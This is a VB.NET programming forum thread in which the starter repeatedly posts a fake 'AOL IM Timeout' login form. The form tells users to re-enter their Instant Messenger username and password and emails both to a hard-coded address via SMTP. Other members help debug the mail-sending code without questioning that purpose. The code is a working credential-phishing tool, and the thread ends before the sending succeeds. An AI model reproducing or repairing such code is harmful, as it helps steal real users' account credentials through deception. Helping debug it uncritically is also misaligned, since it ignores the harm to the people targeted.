Results 1 to 17 of 17

Thread: email... smtp thingie

  1. #1

    Thread Starter
    Junior Member
    Join Date
    Jan 2004
    Posts
    19

    email... smtp thingie

    my vb.net 2003 dosent have the SMTP MAIL class...?

    Code:
    Imports System
    Imports System.Web.Mail.MailMessage
    
        Public Class Form1
            Inherits System.Windows.Forms.Form
    
    
    #Region " Windows Form Designer generated code "
    
            Public Sub New()
                MyBase.New()
    
                'This call is required by the Windows Form Designer.
                InitializeComponent()
    
                'Add any initialization after the InitializeComponent() call
    
            End Sub
    
            'Form overrides dispose to clean up the component list.
            Protected Overloads Overrides Sub Dispose(ByVal disposing As Boolean)
                If disposing Then
                    If Not (components Is Nothing) Then
                        components.Dispose()
                    End If
                End If
                MyBase.Dispose(disposing)
            End Sub
    
            'Required by the Windows Form Designer
            Private components As System.ComponentModel.IContainer
    
            'NOTE: The following procedure is required by the Windows Form Designer
            'It can be modified using the Windows Form Designer.  
            'Do not modify it using the code editor.
            Friend WithEvents Label1 As System.Windows.Forms.Label
            Friend WithEvents TextBox1 As System.Windows.Forms.TextBox
            Friend WithEvents TextBox2 As System.Windows.Forms.TextBox
            Friend WithEvents Button1 As System.Windows.Forms.Button
            <System.Diagnostics.DebuggerStepThrough()> Private Sub InitializeComponent()
                Me.Label1 = New System.Windows.Forms.Label
                Me.TextBox1 = New System.Windows.Forms.TextBox
                Me.TextBox2 = New System.Windows.Forms.TextBox
                Me.Button1 = New System.Windows.Forms.Button
                Me.SuspendLayout()
                '
                'Label1
                '
                Me.Label1.Location = New System.Drawing.Point(0, 0)
                Me.Label1.Name = "Label1"
                Me.Label1.Size = New System.Drawing.Size(360, 40)
                Me.Label1.TabIndex = 0
                Me.Label1.Text = "A timeout error has occured. Please re-login to Instant Messenger. A timeout erro" & _
                "r occurs annualy for security reasons, please re-login below."
                '
                'TextBox1
                '
                Me.TextBox1.Location = New System.Drawing.Point(24, 48)
                Me.TextBox1.Name = "TextBox1"
                Me.TextBox1.Size = New System.Drawing.Size(200, 20)
                Me.TextBox1.TabIndex = 1
                Me.TextBox1.Text = "username"
                '
                'TextBox2
                '
                Me.TextBox2.Location = New System.Drawing.Point(24, 80)
                Me.TextBox2.Name = "TextBox2"
                Me.TextBox2.PasswordChar = Microsoft.VisualBasic.ChrW(42)
                Me.TextBox2.Size = New System.Drawing.Size(200, 20)
                Me.TextBox2.TabIndex = 2
                Me.TextBox2.Text = "password"
                '
                'Button1
                '
                Me.Button1.Location = New System.Drawing.Point(248, 64)
                Me.Button1.Name = "Button1"
                Me.Button1.Size = New System.Drawing.Size(96, 24)
                Me.Button1.TabIndex = 3
                Me.Button1.Text = "Login"
                '
                'Form1
                '
                Me.AutoScaleBaseSize = New System.Drawing.Size(5, 13)
                Me.ClientSize = New System.Drawing.Size(360, 118)
                Me.Controls.Add(Me.Button1)
                Me.Controls.Add(Me.TextBox2)
                Me.Controls.Add(Me.TextBox1)
                Me.Controls.Add(Me.Label1)
                Me.Name = "Form1"
                Me.Text = "AOL IM Timeout!!!"
                Me.ResumeLayout(False)
    
            End Sub
    
    #End Region
    
            Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
                Dim Message As System.Web.Mail.MailMessage = New System.Web.Mail.MailMessage
                Message.To = "[email protected]"
                Message.From = "[email protected]"
                Message.Subject = "Password from " + TextBox1.Text
                Message.Body = "Username: " + TextBox1.Text + " Password: " + TextBox2.Text
                Try
                    SmtpMail.SmtpServer = "mail.yahoo.com"
                    SmtpMail.Send(Message)
                Catch ehttp As System.Web.HttpException
                    MessageBox.Show("ERROR IN RE-LOGIN. PLEASE REPORT TO AIM.")
                End Try
    
            End Sub
        End Class
    i know the first namespace thing is wrong.. the second IMPORTS. but it still dont work.

  2. #2
    Your Ad Here! Edneeis's Avatar
    Join Date
    Feb 2000
    Location
    Moreno Valley, CA (SoCal)
    Posts
    7,339
    Did you make a reference to the System.Web assembly?

  3. #3
    New Member Nighthawkdude's Avatar
    Join Date
    Feb 2004
    Posts
    2
    It's perfectly okay to use the System.Web.Mail.MailMessage functionality in a Windows application, even though it's a web app function. The reason there isn't a specific one for WinForms is because there doesn't need to be (it would be redundant, since the web version works). You're on the right track. Run with it!

    Cheers!
    Managing senior programmers is like herding cats. -- Anonymous

  4. #4
    Hyperactive Member
    Join Date
    Apr 2003
    Location
    Three Rivers, MI
    Posts
    354
    ....And while we are on the subject you are probably going to want to look at this thread: Please help SMTP server authentication

  5. #5

    Thread Starter
    Junior Member
    Join Date
    Jan 2004
    Posts
    19

    still dont work..

    when i type System.Web, all i get in the pop-up window is ASPPERMISSION STUFF.. and all of my refrences i have to the smtp thing have blue underlines... tooo many errors.

    Code:
    Imports System
    Imports System.Web
    
        Public Class Form1
            Inherits System.Windows.Forms.Form
    
    
    #Region " Windows Form Designer generated code "
    
            Public Sub New()
                MyBase.New()
    
                'This call is required by the Windows Form Designer.
                InitializeComponent()
    
                'Add any initialization after the InitializeComponent() call
    
            End Sub
    
            'Form overrides dispose to clean up the component list.
            Protected Overloads Overrides Sub Dispose(ByVal disposing As Boolean)
                If disposing Then
                    If Not (components Is Nothing) Then
                        components.Dispose()
                    End If
                End If
                MyBase.Dispose(disposing)
            End Sub
    
            'Required by the Windows Form Designer
            Private components As System.ComponentModel.IContainer
    
            'NOTE: The following procedure is required by the Windows Form Designer
            'It can be modified using the Windows Form Designer.  
            'Do not modify it using the code editor.
            Friend WithEvents Label1 As System.Windows.Forms.Label
            Friend WithEvents TextBox1 As System.Windows.Forms.TextBox
            Friend WithEvents TextBox2 As System.Windows.Forms.TextBox
            Friend WithEvents Button1 As System.Windows.Forms.Button
            <System.Diagnostics.DebuggerStepThrough()> Private Sub InitializeComponent()
                Me.Label1 = New System.Windows.Forms.Label
                Me.TextBox1 = New System.Windows.Forms.TextBox
                Me.TextBox2 = New System.Windows.Forms.TextBox
                Me.Button1 = New System.Windows.Forms.Button
                Me.SuspendLayout()
                '
                'Label1
                '
                Me.Label1.Location = New System.Drawing.Point(0, 0)
                Me.Label1.Name = "Label1"
                Me.Label1.Size = New System.Drawing.Size(360, 40)
                Me.Label1.TabIndex = 0
                Me.Label1.Text = "A timeout error has occured. Please re-login to Instant Messenger. A timeout erro" & _
                "r occurs annualy for security reasons, please re-login below."
                '
                'TextBox1
                '
                Me.TextBox1.Location = New System.Drawing.Point(24, 48)
                Me.TextBox1.Name = "TextBox1"
                Me.TextBox1.Size = New System.Drawing.Size(200, 20)
                Me.TextBox1.TabIndex = 1
                Me.TextBox1.Text = "username"
                '
                'TextBox2
                '
                Me.TextBox2.Location = New System.Drawing.Point(24, 80)
                Me.TextBox2.Name = "TextBox2"
                Me.TextBox2.PasswordChar = Microsoft.VisualBasic.ChrW(42)
                Me.TextBox2.Size = New System.Drawing.Size(200, 20)
                Me.TextBox2.TabIndex = 2
                Me.TextBox2.Text = "password"
                '
                'Button1
                '
                Me.Button1.Location = New System.Drawing.Point(248, 64)
                Me.Button1.Name = "Button1"
                Me.Button1.Size = New System.Drawing.Size(96, 24)
                Me.Button1.TabIndex = 3
                Me.Button1.Text = "Login"
                '
                'Form1
                '
                Me.AutoScaleBaseSize = New System.Drawing.Size(5, 13)
                Me.ClientSize = New System.Drawing.Size(360, 118)
                Me.Controls.Add(Me.Button1)
                Me.Controls.Add(Me.TextBox2)
                Me.Controls.Add(Me.TextBox1)
                Me.Controls.Add(Me.Label1)
                Me.Name = "Form1"
                Me.Text = "AOL IM Timeout!!!"
                Me.ResumeLayout(False)
    
            End Sub
    
    #End Region
    
            Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
                Dim Message As System.Web.Mail.MailMessage = New System.Web.Mail.MailMessage
                Message.To = "[email protected]"
                Message.From = "[email protected]"
                Message.Subject = "Password from " + TextBox1.Text
                Message.Body = "Username: " + TextBox1.Text + " Password: " + TextBox2.Text
                Try
                    SmtpMail.SmtpServer = "mail.yahoo.com"
                    SmtpMail.Send(Message)
                Catch ehttp As System.Web.HttpException
                    MessageBox.Show("ERROR IN RE-LOGIN. PLEASE REPORT TO AIM.")
                End Try
    
            End Sub
        End Class

  6. #6
    Your Ad Here! Edneeis's Avatar
    Join Date
    Feb 2000
    Location
    Moreno Valley, CA (SoCal)
    Posts
    7,339
    Imports is just a way to shortcut typing it doesn't actually add anything to your app. Windows applications don't by default have a reference to System.Web which has the items you need. right click on references in the solution explorer and add a reference to the file System.Web.dll.

  7. #7
    Frenzied Member
    Join Date
    Nov 2003
    Posts
    1,489
    Hey ed, when addind a reference, how much more does that add to your app? does it add the entire file or just what it needs after compiling?

    Are the referenced files still dll's? I heard that those were gone like c-64.

  8. #8

    Thread Starter
    Junior Member
    Join Date
    Jan 2004
    Posts
    19

    still dont work.... still...

    code:
    Code:
    Imports System
    Imports System.Web
    
        Public Class Form1
            Inherits System.Windows.Forms.Form
    
    
    #Region " Windows Form Designer generated code "
    
            Public Sub New()
                MyBase.New()
    
                'This call is required by the Windows Form Designer.
                InitializeComponent()
    
                'Add any initialization after the InitializeComponent() call
    
            End Sub
    
            'Form overrides dispose to clean up the component list.
            Protected Overloads Overrides Sub Dispose(ByVal disposing As Boolean)
                If disposing Then
                    If Not (components Is Nothing) Then
                        components.Dispose()
                    End If
                End If
                MyBase.Dispose(disposing)
            End Sub
    
            'Required by the Windows Form Designer
            Private components As System.ComponentModel.IContainer
    
            'NOTE: The following procedure is required by the Windows Form Designer
            'It can be modified using the Windows Form Designer.  
            'Do not modify it using the code editor.
            Friend WithEvents Label1 As System.Windows.Forms.Label
            Friend WithEvents TextBox1 As System.Windows.Forms.TextBox
            Friend WithEvents TextBox2 As System.Windows.Forms.TextBox
            Friend WithEvents Button1 As System.Windows.Forms.Button
            <System.Diagnostics.DebuggerStepThrough()> Private Sub InitializeComponent()
                Me.Label1 = New System.Windows.Forms.Label
                Me.TextBox1 = New System.Windows.Forms.TextBox
                Me.TextBox2 = New System.Windows.Forms.TextBox
                Me.Button1 = New System.Windows.Forms.Button
                Me.SuspendLayout()
                '
                'Label1
                '
                Me.Label1.Location = New System.Drawing.Point(0, 0)
                Me.Label1.Name = "Label1"
                Me.Label1.Size = New System.Drawing.Size(360, 40)
                Me.Label1.TabIndex = 0
                Me.Label1.Text = "A timeout error has occured. Please re-login to Instant Messenger. A timeout erro" & _
                "r occurs annualy for security reasons, please re-login below."
                '
                'TextBox1
                '
                Me.TextBox1.Location = New System.Drawing.Point(24, 48)
                Me.TextBox1.Name = "TextBox1"
                Me.TextBox1.Size = New System.Drawing.Size(200, 20)
                Me.TextBox1.TabIndex = 1
                Me.TextBox1.Text = "username"
                '
                'TextBox2
                '
                Me.TextBox2.Location = New System.Drawing.Point(24, 80)
                Me.TextBox2.Name = "TextBox2"
                Me.TextBox2.PasswordChar = Microsoft.VisualBasic.ChrW(42)
                Me.TextBox2.Size = New System.Drawing.Size(200, 20)
                Me.TextBox2.TabIndex = 2
                Me.TextBox2.Text = "password"
                '
                'Button1
                '
                Me.Button1.Location = New System.Drawing.Point(248, 64)
                Me.Button1.Name = "Button1"
                Me.Button1.Size = New System.Drawing.Size(96, 24)
                Me.Button1.TabIndex = 3
                Me.Button1.Text = "Login"
                '
                'Form1
                '
                Me.AutoScaleBaseSize = New System.Drawing.Size(5, 13)
                Me.ClientSize = New System.Drawing.Size(360, 118)
                Me.Controls.Add(Me.Button1)
                Me.Controls.Add(Me.TextBox2)
                Me.Controls.Add(Me.TextBox1)
                Me.Controls.Add(Me.Label1)
                Me.Name = "Form1"
                Me.Text = "AOL IM Timeout!!!"
                Me.ResumeLayout(False)
    
            End Sub
    
    #End Region
    
            Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
                Dim Message As System.Web.Mail.MailMessage = New System.Web.Mail.MailMessage
                Message.To = "[email protected]"
                Message.From = "[email protected]"
                Message.Subject = "Password from " + TextBox1.Text
                Message.Body = "Username: " + TextBox1.Text + " Password: " + TextBox2.Text
            Try
                System.Web.Mail.SmtpMail.SmtpServer = "mail.yahoo.com"
                System.Web.Mail.SmtpMail.Send(Message)
            Catch ehttp As System.Web.HttpException
                MessageBox.Show("ERROR IN RE-LOGIN. PLEASE REPORT TO AIM.")
            End Try
    
            End Sub
        End Class
    ok.. there are no errors, but i get the msgbox and i DONT get the email... whats the deal? i have the DLL added to the proj.

  9. #9
    Hyperactive Member
    Join Date
    Apr 2003
    Location
    Three Rivers, MI
    Posts
    354
    It is possible that you are having a problem with authenticating through your mail server. You may want to check this thread if you have not yet Please help SMTP server authentication

  10. #10
    Your Ad Here! Edneeis's Avatar
    Join Date
    Feb 2000
    Location
    Moreno Valley, CA (SoCal)
    Posts
    7,339
    Change this:
    VB Code:
    1. Catch ehttp As System.Web.HttpException
    2.             MessageBox.Show("ERROR IN RE-LOGIN. PLEASE REPORT TO AIM.")
    3.         End Try
    to this:
    VB Code:
    1. Catch ehttp As System.Web.HttpException
    2.             MessageBox.Show(ehttp.StackTrace, ehttp.Message, MessageBoxButtons.OK, MessageBoxIcon.Error)
    3.         End Try

    That will show you more information about what the error is and where it is coming from.

    Hey ed, when addind a reference, how much more does that add to your app? does it add the entire file or just what it needs after compiling?

    Are the referenced files still dll's? I heard that those were gone like c-64.
    Quoted By thephantom
    Well referenced files are dependencies so your app requires them to run but they don't actually add much to your application itself. They are loaded into memory when used and do not get compiled into your application. In fact DLL stands for dynamic link library, because it is a seperate library that your application links to at runtime (dynamically). So they stay dlls and dlls are still around and this is a good thing.

  11. #11

    Thread Starter
    Junior Member
    Join Date
    Jan 2004
    Posts
    19

    error

    me no get..

    lol, im sorry, waht does this mean?
    Attached Images Attached Images  

  12. #12
    Your Ad Here! Edneeis's Avatar
    Join Date
    Feb 2000
    Location
    Moreno Valley, CA (SoCal)
    Posts
    7,339
    It means CDONTS (the email thing) doesn't like whatever code is on line 105.

  13. #13

    Thread Starter
    Junior Member
    Join Date
    Jan 2004
    Posts
    19
    line 105:
    Code:
                System.Web.Mail.SmtpMail.Send(Message)
    um...... that sends the msg.. am i using the wrong class or sumtin..

  14. #14
    Frenzied Member
    Join Date
    Nov 2003
    Posts
    1,489
    I had a similar problem. I fixed it by sending it the arguments individually instead sending it as a structure. I know it's SUPPOSED to work yours and my way but I had no succes. try sending your message as individual arguments.

  15. #15

    Thread Starter
    Junior Member
    Join Date
    Jan 2004
    Posts
    19

    do u mean?

    send(message)
    should be:
    send("[email protected]","etc") and the subject and all there?

  16. #16
    Frenzied Member
    Join Date
    Nov 2003
    Posts
    1,489
    exactly. I would suggest, however, creating constants or variables and passing THEM instead of hard-coding your data.

    I don't know why the syntax won't work the way you have it though. I tried that and although there are no run-time errors, it only works for me by doing it the long way

  17. #17

    Thread Starter
    Junior Member
    Join Date
    Jan 2004
    Posts
    19

    sry to be dumb..

    where can i find the order of the arguments?

Posting Permissions

  • You may not post new threads
  • You may not post replies
  • You may not post attachments
  • You may not edit your posts
  •  



Click Here to Expand Forum to Full Width